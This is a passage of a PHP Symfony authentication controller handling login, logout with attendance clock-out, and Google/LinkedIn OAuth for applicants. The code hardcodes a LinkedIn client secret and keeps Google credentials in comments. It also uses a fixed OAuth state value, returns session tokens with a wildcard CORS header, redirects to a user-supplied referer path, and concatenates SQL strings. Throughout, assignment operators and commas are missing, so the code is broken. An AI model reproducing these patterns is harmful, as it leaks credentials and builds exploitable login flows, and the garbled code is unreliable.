  5442.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5443.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5444.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5445.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5446.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5447.                         'REMEMBERME' => $remember_me,
  5448.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5449.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5450.                         'oAuthToken' => $oAuthToken,
  5451.                         'locale' => $locale,
  5452.                         'firebaseToken' => $firebaseToken,
  5453.                         'token' => $session->get('token'),
  5454.                         'firstLogin' => $firstLogin,
  5455.                         'oAuthImage' => $oAuthImage,
  5456.                         'appIdList' => json_encode($appIdList),
  5457.                         'branchIdList' => json_encode($branchIdList),
  5458.                         'branchId' => $branchId,
  5459.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5460.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5461.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5462.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5463.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5464.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5465.                     );
  5466.                     if ($systemType == '_CENTRAL_') {
  5467.                         $accessList = [];
  5468. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5469.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5470.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5471.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5472.                                     $d = array(
  5473.                                         'userType' => $thisUserUserType,
  5474.                                         'globalId' => $globalId,
  5475.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5476.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5477.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5478.                                         'systemType' => '_ERP_',
  5479.                                         'companyId' => 1,
  5480.                                         'appId' => $thisUserAppId,
  5481.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5482.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5483.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5484.                                                 array(
  5485.                                                     'globalId' => $globalId,
  5486.                                                     'appId' => $thisUserAppId,
  5487.                                                     'authenticate' => 1,
  5488.                                                     'userType' => $thisUserUserType
  5489.                                                 )
  5490.                                             )
  5491.                                         ),
  5492.                                         'userCompanyList' => [
  5493.                                         ]
  5494.                                     );
  5495.                                     $accessList[] = $d;
  5496.                                 }
  5497.                             }
  5498.                         }
  5499.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5500.                         $session_data['userAccessList'] = $accessList;
  5501.                     }
  5502.                     $ultimateData System::setSessionForUser($em_goc,
  5503.                         $session,
  5504.                         $session_data,
  5505.                         $config
  5506.                     );
  5507. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5508.                     $session_data $ultimateData['sessionData'];
  5509.                     $session_data $this->filterClientSessionData($session_data);
  5510.                     $token $ultimateData['token'];
  5511.                     $session->set('token'$token);
  5512.                     if ($systemType == '_CENTRAL_') {
  5513.                         $session->set('csToken'$token);
  5514.                     } else {
  5515.                         $session->set('csToken'$csToken);
  5516.                     }
  5517.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5518.                         $session->set('remoteVerified'1);
  5519.                         $response = new JsonResponse(array(
  5520.                             'token' => $token,
  5521.                             'uid' => $session->get(UserConstants::USER_ID),
  5522.                             'session' => $session,
  5523.                             'success' => true,
  5524.                             'session_data' => $session_data,
  5525.                         ));
  5526.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5527.                         return $response;
  5528.                     }
  5529.                     //TEMP START
  5530.                     if ($systemType == '_CENTRAL_') {
  5531.                         return $this->redirectToRoute('central_landing');
  5532.                     }
  5533.                     //TREMP END
  5534.                     if ($userForcedRoute != '')
  5535.                         return $this->redirectToRoute($userForcedRoute);
  5536.                     if ($request->request->has('referer_path')) {
  5537.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5538.                             return $this->redirect($request->request->get('referer_path'));
  5539.                         }
  5540.                     }
  5541.                     if ($request->query->has('refRoute')) {
  5542.                         if ($request->query->get('refRoute') == '8917922')
  5543.                             $userDefaultRoute 'apply_for_consultant';
  5544.                     }
  5545.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5546.                         $userDefaultRoute 'dashboard';
  5547.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5548.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5549.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5550.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5551.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5552.                                 return $this->redirect($red);
  5553.                             }
  5554.                         } else {
  5555.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5556.                         }
  5557.                     } else
  5558.                         return $this->redirectToRoute($userDefaultRoute);
  5559.                 }
  5560.             }
  5561.         }
  5562.         $session $request->getSession();
  5563.         if (isset($encData['appId'])) {
  5564.             if (isset($gocDataListByAppId[$encData['appId']]))
  5565.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5566.         }
  5567.         $routeName $request->attributes->get('_route');
  5568.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5569.             $refRoute '';
  5570.             $message '';
  5571.             $errorField '_NONE_';
  5572. //            if ($request->query->has('message')) {
  5573. //                $message = $request->query->get('message');
  5574. //
  5575. //            }
  5576. //            if ($request->query->has('errorField')) {
  5577. //                $errorField = $request->query->get('errorField');
  5578. //
  5579. //            }
  5580.             if ($refRoute != '') {
  5581.                 if ($refRoute == '8917922')
  5582.                     $redirectRoute 'apply_for_consultant';
  5583.             }
  5584.             if ($request->query->has('refRoute')) {
  5585.                 $refRoute $request->query->get('refRoute');
  5586.                 if ($refRoute == '8917922')
  5587.                     $redirectRoute 'apply_for_consultant';
  5588.             }
  5589.             $google_client = new Google_Client();
  5590. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5591. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5592.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5593.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5594.             } else {
  5595.                 $url $this->generateUrl(
  5596.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5597.                 );
  5598.             }
  5599.             $selector BuddybeeConstant::$selector;
  5600.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5601. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5602.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5603. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5604.             $google_client->setRedirectUri($url);
  5605.             $google_client->setAccessType('offline');        // offline access
  5606.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5607.             $google_client->setRedirectUri($url);
  5608.             $google_client->addScope('email');
  5609.             $google_client->addScope('profile');
  5610.             $google_client->addScope('openid');
  5611.             return $this->render(
  5612.                 '@Authentication/pages/views/applicant_login.html.twig',
  5613.                 [
  5614.                     'page_title' => 'BuddyBee Login',
  5615.                     'oAuthLink' => $google_client->createAuthUrl(),
  5616.                     'redirect_url' => $url,
  5617.                     'message' => $message,
  5618.                     'errorField' => '',
  5619.                     'systemType' => $systemType,
  5620.                     'ownServerId' => $ownServerId,
  5621.                     'refRoute' => $refRoute,
  5622.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5623.                     'selector' => $selector
  5624.                 ]
  5625.             );
  5626.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5627.             $refRoute '';
  5628.             $message '';
  5629.             $errorField '_NONE_';
  5630. //            if ($request->query->has('message')) {
  5631. //                $message = $request->query->get('message');
  5632. //
  5633. //            }
  5634. //            if ($request->query->has('errorField')) {
  5635. //                $errorField = $request->query->get('errorField');
  5636. //
  5637. //            }
  5638.             if ($refRoute != '') {
  5639.                 if ($refRoute == '8917922')
  5640.                     $redirectRoute 'apply_for_consultant';
  5641.             }
  5642.             if ($request->query->has('refRoute')) {
  5643.                 $refRoute $request->query->get('refRoute');
  5644.                 if ($refRoute == '8917922')
  5645.                     $redirectRoute 'apply_for_consultant';
  5646.             }
  5647.             $google_client = new Google_Client();
  5648. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5649. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5650.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5651.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5652.             } else {
  5653.                 $url $this->generateUrl(
  5654.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5655.                 );
  5656.             }
  5657.             $selector BuddybeeConstant::$selector;
  5658. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5659.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5660. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5661.             $google_client->setRedirectUri($url);
  5662.             $google_client->setAccessType('offline');        // offline access
  5663.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5664.             $google_client->setRedirectUri($url);
  5665.             $google_client->addScope('email');
  5666.             $google_client->addScope('profile');
  5667.             $google_client->addScope('openid');
  5668.             return $this->render(
  5669.                 '@Authentication/pages/views/central_login.html.twig',
  5670.                 [
  5671.                     'page_title' => 'Central Login',
  5672.                     'oAuthLink' => $google_client->createAuthUrl(),
  5673.                     'redirect_url' => $url,
  5674.                     'message' => $message,
  5675.                     'systemType' => $systemType,
  5676.                     'ownServerId' => $ownServerId,
  5677.                     'errorField' => '',
  5678.                     'refRoute' => $refRoute,
  5679.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5680.                     'selector' => $selector
  5681.                 ]
  5682.             );
  5683.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5684.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5685.         } else
  5686.             return $this->render(
  5687.                 '@Authentication/pages/views/login_new.html.twig',
  5688.                 array(
  5689.                     "message" => $message,
  5690.                     'page_title' => 'Login',
  5691.                     'gocList' => $gocDataListForLoginWeb,
  5692.                     'gocId' => $gocId != $gocId '',
  5693.                     'systemType' => $systemType,
  5694.                     'ownServerId' => $ownServerId,
  5695.                     'encData' => $encData,
  5696.                     //                'ref'=>$request->
  5697.                 )
  5698.             );
  5699.     }
  5700.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5701.     {
  5702.         $em $this->getDoctrine()->getManager();
  5703.         MiscActions::initiateAdminUser($em);
  5704.         $this->addFlash(
  5705.             'success',
  5706.             'The Action was Successful.'
  5707.         );
  5708.         return $this->redirectToRoute('user_login');
  5709.     }
  5710.     public function LogoutAction(Request $request$remoteVerify 0)
  5711.     {
  5712.         $session $request->getSession();
  5713.         $em_goc $this->getDoctrine()->getManager('company_group');
  5714.         $session $request->getSession();
  5715.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5716. //        return new JsonResponse([$token]);
  5717.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5718. //                    return new JsonResponse([$token]);
  5719.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5720.             if ($to_set_session_data != null) {
  5721.                 foreach ($to_set_session_data as $k => $d) {
  5722.                     //check if mobile
  5723.                     $session->set($k$d);
  5724.                 }
  5725.             } else {
  5726.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5727.             }
  5728.         }
  5729.         $userId $session->get(UserConstants::USER_ID);
  5730.         $currentTime = new \Datetime();
  5731.         $currTs $currentTime->format('U');
  5732.         $routeName $request->attributes->get('_route');
  5733.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5734.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5735.         if ($request->query->get('endCurrentTask'1) == 1) {
  5736.             if (
  5737.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5738.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5739.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5740.             ) {
  5741.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5742.                 $appId $session->get(UserConstants::USER_APP_ID);
  5743.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5744.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5745.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5746.                 if (1) {
  5747.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5748.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5749.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5750.                     $currTime = new \DateTime();
  5751.                     $options = array(
  5752.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5753.                         'notification_server' => $this->container->getParameter('notification_server'),
  5754.                     );
  5755.                     $positionsArray = [
  5756.                         array(
  5757.                             'employeeId' => $empId,
  5758.                             'userId' => $session->get(UserConstants::USER_ID0),
  5759.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5760.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5761.                             'lat' => 23.8623834,
  5762.                             'lng' => 90.3979294,
  5763.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5764. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5765.                         )
  5766.                     ];
  5767.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5768.                     if ($positionsArray == null$positionsArray = [];
  5769.                     $dataByAttId = [];
  5770.                     $workPlaceType '_UNSET_';
  5771.                     foreach ($positionsArray as $findex => $d) {
  5772.                         $sysUserId 0;
  5773.                         $userId 0;
  5774.                         $empId 0;
  5775.                         $dtTs 0;
  5776.                         $timeZoneStr '+0000';
  5777.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5778.                         if (isset($d['userId'])) $userId $d['userId'];
  5779.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5780.                         if (isset($d['tsMilSec'])) {
  5781.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5782.                         }
  5783.                         if ($dtTs == 0) {
  5784.                             $currTsTime = new \DateTime();
  5785.                             $dtTs $currTsTime->format('U');
  5786.                         } else {
  5787.                             $currTsTime = new \DateTime('@' $dtTs);
  5788.                         }
  5789.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5790.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5791.                         $EmployeeAttendance $this->getDoctrine()
  5792.                             ->getRepository(EmployeeAttendance::class)
  5793.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5794.                         if (!$EmployeeAttendance) {
  5795.                             continue;
  5796.                         } else {
  5797.                         }
  5798.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5799.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5800.                             $workPlaceType '_STATIC_';
  5801.                         }
  5802.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5803.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5804.                                 'attendanceInfo' => $attendanceInfo,
  5805.                                 'empId' => $empId,
  5806.                                 'lat' => 0,
  5807.                                 'lng' => 0,
  5808.                                 'address' => 0,
  5809.                                 'sysUserId' => $sysUserId,
  5810.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5811.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5812.                                 'positionArray' => []
  5813.                             );
  5814.                         $posData = array(
  5815.                             'ts' => $dtTs,
  5816.                             'lat' => $d['lat'],
  5817.                             'lng' => $d['lng'],
  5818.                             'marker' => $d['markerId'],
  5819.                             'src' => 2,
  5820.                         );
  5821.                         $posDataArray = array(
  5822.                             $dtTs,
  5823.                             $d['lat'],
  5824.                             $d['lng'],
  5825.                             $d['markerId'],
  5826.                             2
  5827.                         );
  5828.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5829.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5830.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5831.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5832.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5833.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5834.                         if (isset($d['address']))
  5835.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5836. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5837.                     }
  5838.                     $response = array(
  5839.                         'success' => true,
  5840.                     );
  5841.                     foreach ($dataByAttId as $attInfoId => $d) {
  5842.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5843.                             $d['empId'],
  5844.                             $d['sysUserId'],
  5845.                             $d['companyId'],
  5846.                             $d['appId'],
  5847.                             $request,
  5848.                             $d['attendanceInfo'],
  5849.                             $options,
  5850.                             $d['positionArray'],
  5851.                             $d['lat'],
  5852.                             $d['lng'],
  5853.                             $d['address'],
  5854.                             $d['markerId']
  5855.                         );
  5856.                     }
  5857.                 }
  5858.             }
  5859.         }
  5860.         if ($token != '')
  5861.             MiscActions::DeleteToken($em_goc$token);
  5862.         $session->clear();
  5863.         $session->set('CLEARLOGIN'1);
  5864.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5865.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5866.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5867.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5868.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5869.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5870.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5871.                 } else {
  5872.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5873.                 }
  5874.             }
  5875.         } else {
  5876.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5877.         }
  5878. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5879. //            )
  5880. //
  5881. //        );
  5882.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5883.             if ($userId) {
  5884.                 return new JsonResponse(array(
  5885.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5886.                     "message" => "Logout Successfull!",
  5887.                     'session_data' => [],
  5888.                     'userId' => $userId
  5889.                 ));
  5890.             } else {
  5891.                 return new JsonResponse(array(
  5892.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5893.                     "message" => "Already Logout",
  5894.                     'session_data' => [],
  5895.                     'userId' => $userId
  5896.                 ));
  5897.             }
  5898.         }
  5899.         return $this->redirectToRoute("dashboard");
  5900.     }
  5901.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5902.     {
  5903.         $session $request->getSession();
  5904.         $email $request->getSession()->get('userEmail');
  5905.         $sessionUserId $request->getSession()->get('userId');
  5906.         $oAuthData = [];
  5907. //    $encData='';
  5908.         $em $this->getDoctrine()->getManager('company_group');
  5909.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5910.         $redirectRoute 'dashboard';
  5911.         if ($encData != '') {
  5912.             if ($encData == '8917922')
  5913.                 $redirectRoute 'apply_for_consultant';
  5914.         }
  5915.         if ($request->query->has('encData')) {
  5916.             $encData $request->query->get('encData');
  5917.             if ($encData == '8917922')
  5918.                 $redirectRoute 'apply_for_consultant';
  5919.         }
  5920.         $message '';
  5921.         $errorField '_NONE_';
  5922.         if ($request->query->has('message')) {
  5923.             $message $request->query->get('message');
  5924.         }
  5925.         if ($request->query->has('errorField')) {
  5926.             $errorField $request->query->get('errorField');
  5927.         }
  5928.         if ($request->request->has('oAuthData')) {
  5929.             $oAuthData $request->request->get('oAuthData', []);
  5930.         } else {
  5931.             $oAuthData = [
  5932.                 'email' => $request->request->get('email'''),
  5933.                 'uniqueId' => $request->request->get('uniqueId'''),
  5934.                 'oAuthHash' => '_NONE_',
  5935.                 'image' => $request->request->get('image'''),
  5936.                 'emailVerified' => $request->request->get('emailVerified'''),
  5937.                 'name' => $request->request->get('name'''),
  5938.                 'firstName' => $request->request->get('firstName'''),
  5939.                 'lastName' => $request->request->get('lastName'''),
  5940.                 'type' => 1,
  5941.                 'token' => $request->request->get('oAuthtoken'''),
  5942.             ];
  5943.         }
  5944.         $isApplicantExist null;
  5945.         if ($email) {
  5946.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5947.                 $isApplicantExist $applicantRepo->findOneBy([
  5948.                     'applicantId' => $sessionUserId
  5949.                 ]);
  5950.             } else
  5951.                 return $this->redirectToRoute($redirectRoute);
  5952.         }
  5953.         $google_client = new Google_Client();
  5954. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5955. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5956.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5957.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5958.         } else {
  5959.             $url $this->generateUrl(
  5960.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5961.             );
  5962.         }
  5963.         $selector BuddybeeConstant::$selector;
  5964.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5965.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5966. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5967.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5968. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5969.         $google_client->setRedirectUri($url);
  5970.         $google_client->setAccessType('offline');        // offline access
  5971.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5972.         $google_client->addScope('email');
  5973.         $google_client->addScope('profile');
  5974.         $google_client->addScope('openid');
  5975. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5976.         //linked in 1st
  5977.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5978.             $curl curl_init();
  5979.             curl_setopt_array($curl, array(
  5980.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5981.                 CURLOPT_HEADER => false,  // don't return headers
  5982.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5983.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5984.                 CURLOPT_ENCODING => "",     // handle compressed
  5985.                 CURLOPT_USERAGENT => "test"// name of client
  5986.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5987.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5988.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5989.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5990.                 CURLOPT_USERAGENT => 'InnoPM',
  5991.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5992.                 CURLOPT_POST => 1,
  5993.                 CURLOPT_HTTPHEADER => array(
  5994.                     'Content-Type: application/x-www-form-urlencoded'
  5995.                 )
  5996.             ));
  5997.             $content curl_exec($curl);
  5998.             $contentArray = [];
  5999.             curl_close($curl);
  6000.             $token false;
  6001. //      return new JsonResponse(array(
  6002. //          'content'=>$content,
  6003. //          'contentArray'=>json_decode($content,true),
  6004. //
  6005. //      ));
  6006.             if ($content) {
  6007.                 $contentArray json_decode($contenttrue);
  6008.                 $token $contentArray['access_token'];
  6009.             }
  6010.             if ($token) {
  6011.                 $applicantInfo = [];
  6012.                 $curl curl_init();
  6013.                 curl_setopt_array($curl, array(
  6014.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6015.                     CURLOPT_HEADER => false,  // don't return headers
  6016.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6017.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6018.                     CURLOPT_ENCODING => "",     // handle compressed
  6019.                     CURLOPT_USERAGENT => "test"// name of client
  6020.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6021.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6022.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6023.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6024.                     CURLOPT_USERAGENT => 'InnoPM',
  6025.                     CURLOPT_HTTPGET => 1,
  6026.                     CURLOPT_HTTPHEADER => array(
  6027.                         'Authorization: Bearer ' $token,
  6028.                         'Header-Key-2: Header-Value-2'
  6029.                     )
  6030.                 ));
  6031.                 $userGeneralcontent curl_exec($curl);
  6032.                 curl_close($curl);
  6033.                 if ($userGeneralcontent) {
  6034.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6035.                 }
  6036.                 $curl curl_init();
  6037.                 curl_setopt_array($curl, array(
  6038.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6039.                     CURLOPT_HEADER => false,  // don't return headers
  6040.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6041.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6042.                     CURLOPT_ENCODING => "",     // handle compressed
  6043.                     CURLOPT_USERAGENT => "test"// name of client
  6044.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6045.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6046.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6047.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6048. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6049.                     CURLOPT_USERAGENT => 'InnoPM',
  6050.                     CURLOPT_HTTPGET => 1,
  6051.                     CURLOPT_HTTPHEADER => array(
  6052.                         'Authorization: Bearer ' $token,
  6053.                         'Header-Key-2: Header-Value-2'
  6054.                     )
  6055.                 ));
  6056.                 $userEmailcontent curl_exec($curl);
  6057.                 curl_close($curl);
  6058.                 $token false;
  6059.                 if ($userEmailcontent) {
  6060.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6061.                 }
  6062. //        $oAuthEmail = $applicantInfo['email'];
  6063. //        return new JsonResponse(array(
  6064. //          'userEmailcontent'=>$userEmailcontent,
  6065. //          'userGeneralcontent'=>$userGeneralcontent,
  6066. //        ));
  6067. //        return new response($userGeneralcontent);
  6068.                 $oAuthData = [
  6069.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6070.                     'uniqueId' => $userGeneralcontent['id'],
  6071.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6072.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
